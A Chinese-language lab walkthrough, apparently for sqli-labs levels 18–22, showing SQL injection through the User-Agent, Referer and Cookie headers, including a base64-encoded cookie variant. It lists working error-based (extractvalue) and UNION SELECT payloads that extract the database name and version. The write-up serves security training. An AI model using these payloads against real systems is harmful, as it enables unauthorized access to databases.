第十八关
输入正确的账号密码,就会返回显示我们的User Agent信息,这是在我们的post请求里面的信息
所以我们用burp suite拦截抓包
那我们就可以对这个User Agent下手进行注入
当我们把它改成1'时,出现如下报错信息,可以知道语句是由单引号和括号闭合的,但是还有两个参数
打开源码看一下
有一个insert语句,有三个参数,把我们的User Agent,IP和username插入到数据库的security.uagents中
所以我们构造
User Agent:1',2,3)#
正常,没有语法报错
三个参数我们选一个作为我们的报错注入
User Agent:1',2,extractvalue(1,(concat(0x7e,(select database())))))#
第十九关
当我们输入正确的账号密码时,页面返回显示我们的referer字段信息
修改referer:1',出现如下报错,结合上题可猜测应该是把referer和IP两个参数插入数据库中,由单引号和括号闭合
所以我们构造
Referer:1',2)#
没有语法报错,说明我们的猜测正确
接下来就构造报错
Referer:1',extractvalue(1,concat(0x7e,(select database()))))#
爆出库名
第二十关
输入正确的账号密码,显示我们的cookie字段信息
用bp抓包,cookie是在get请求里面,先放掉前面的post才能看到cookie
那我们构造
cookie:uname=admin'
根据报错,我们知道语句是由单引号闭合
由刚开始的成功登录页面可知,回显三个字段,所以构造
cookie:uname=-admin'union select 1,2,3#
继续构造
cookie:uname=-admin'union select database(),version(),3#
也可以利用报错
cookie:uname=admin' and extractvalue(1,(concat(0x7e,(select database()))))#
第二十一关
跟第二十关差不多,但是注意到,它的cookie是经过base64编码的
所以我们构造的时候要先经过base64编码再进行注入
cookie:uname=admin'
经过base64编码
cookie:uname=YWRtaW4n
根据报错信息知道,有单引号和括号闭合
所以我们构造
cookie:uname=-admin')union select 1,database(),version()#
base64编码
cookie:uname=LWFkbWluJyl1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLHZlcnNpb24oKSM=
也可以使用报错注入
cookie:uname=admin')and extractvalue(1,(concat(0x7e,(select database()))))#
第二十二关
跟第二十一关差不多,区别就是双引号闭合